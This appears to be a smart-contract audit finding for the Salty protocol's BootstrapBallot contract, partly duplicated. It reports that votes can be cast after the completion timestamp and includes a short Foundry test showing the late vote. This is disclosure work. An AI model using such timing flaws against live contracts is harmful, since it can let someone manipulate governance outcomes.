Users can continuously vote to startExchangeYes or startExchangeNo the protocol without time constraints.
Proof of Concept
function test_voteAfterTheCompletionTime() public {
bytes memory sig = abi.encodePacked(aliceVotingSignature);
// Voting stage
vm.startPrank(alice);
bootstrapBallot.vote(true, sig);
vm.stopPrank();
// Increase current blocktime to be greater than completionTimestamp
vm.warp(bootstrapBallot.completionTimestamp());
sig = abi.encodePacked(bobVotingSignature);
vm.startPrank(bob);
bootstrapBallot.vote(true, sig);
vm.stopPrank();
}
Tools Used
Manual Review
Recommended Mitigation Steps
Consider adding to check in BootstrapBallot::vote()
Lines of code
https://github.com/code-423n4/2024-01-salty/blob/main/src/launch/BootstrapBallot.sol#L48 https://github.com/code-423n4/2024-01-salty/blob/main/src/launch/BootstrapBallot.sol#L69
Vulnerability details
Impact
Users can continuously vote to
startExchangeYes
orstartExchangeNo
the protocol without time constraints.Proof of Concept
Tools Used
Manual Review
Recommended Mitigation Steps
Consider adding to check in
BootstrapBallot::vote()
Assessed type
Timing